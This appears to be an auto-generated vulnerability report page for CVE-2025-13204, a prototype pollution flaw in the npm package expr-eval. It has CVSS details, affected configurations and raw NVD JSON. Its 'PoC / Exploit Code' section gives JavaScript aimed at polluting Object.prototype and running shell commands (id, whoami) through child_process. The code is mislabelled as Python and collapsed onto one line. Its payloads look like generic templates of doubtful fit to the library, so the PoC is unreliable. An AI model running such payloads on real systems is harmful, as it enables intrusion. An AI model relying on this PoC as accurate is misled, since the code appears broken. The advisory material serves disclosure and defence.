Security Vulnerability Report
中文
CVE-2025-13204 CVSS 7.3 HIGH

CVE-2025-13204

Published: 2025-11-14 17:16:02
Last Modified: 2026-01-08 18:28:14

Description

npm package `expr-eval` is vulnerable to Prototype Pollution. An attacker with access to express eval interface can use JavaScript prototype-based inheritance model to achieve arbitrary code execution. The npm expr-eval-fork package resolves this issue.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:silentmatt:javascript_expression_evaluator:*:*:*:*:*:node.js:*:* - VULNERABLE
expr-eval < 2.0.0
silentmatt/expr-eval (all versions prior to fix)
jorenbroekema/expr-eval (all versions prior to fork)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13204 Prototype Pollution PoC for expr-eval const { Parser } = require('expr-eval'); // PoC: Pollute Object.prototype via __proto__ try { const parser = new Parser(); // Method 1: Using __proto__ to pollute global prototype let expr1 = parser.parse('({}).__proto__.polluted=true'); expr1.evaluate(); console.log('Prototype polluted:', {}.polluted); // Should print: true // Method 2: Using constructor prototype let expr2 = parser.parse('({}).constructor.prototype.shell=require("child_process").execSync("id")'); expr2.evaluate(); console.log('Shell access via polluted prototype'); // Method 3: Direct prototype property access let expr3 = parser.parse('x.__proto__.toString=()=>{require("child_process").execSync("whoami")}'); expr3.evaluate({x: {}}); } catch (e) { console.error('Error during PoC demonstration:', e.message); } // Mitigation: Use expr-eval-fork package // const { Parser } = require('expr-eval-fork'); // Fixed version

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13204", "sourceIdentifier": "[email protected]", "published": "2025-11-14T17:16:01.603", "lastModified": "2026-01-08T18:28:13.923", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "npm package `expr-eval` is vulnerable to Prototype Pollution. An attacker with access to express eval interface can use JavaScript prototype-based inheritance model to achieve arbitrary code execution. The npm expr-eval-fork package resolves this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:silentmatt:javascript_expression_evaluator:*:*:*:*:*:node.js:*:*", "matchCriteriaId": "42044D1E-CC9F-4C3D-B832-9644D65BCCA1"}]}]}], "references": [{"url": "https://github.com/SECCON/SECCON2022_final_CTF/blob/main/jeopardy/web/babybox/solver/solver.py", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/jorenbroekema/expr-eval", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/silentmatt/expr-eval", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/silentmatt/expr-eval/pull/252/files", "source": "[email protected]", "tags": ["Patch", "Issue Tracking"]}, {"url": "https://github.com/vladko312/extras/blob/f549d505af300fd74a01b46fab2102990ff1c14d/expr-eval.py", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.huntr.dev/bounties/1-npm-expr-eval/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/expr-eval-fork", "source": "[email protected]", "tags": ["Product"]}]}}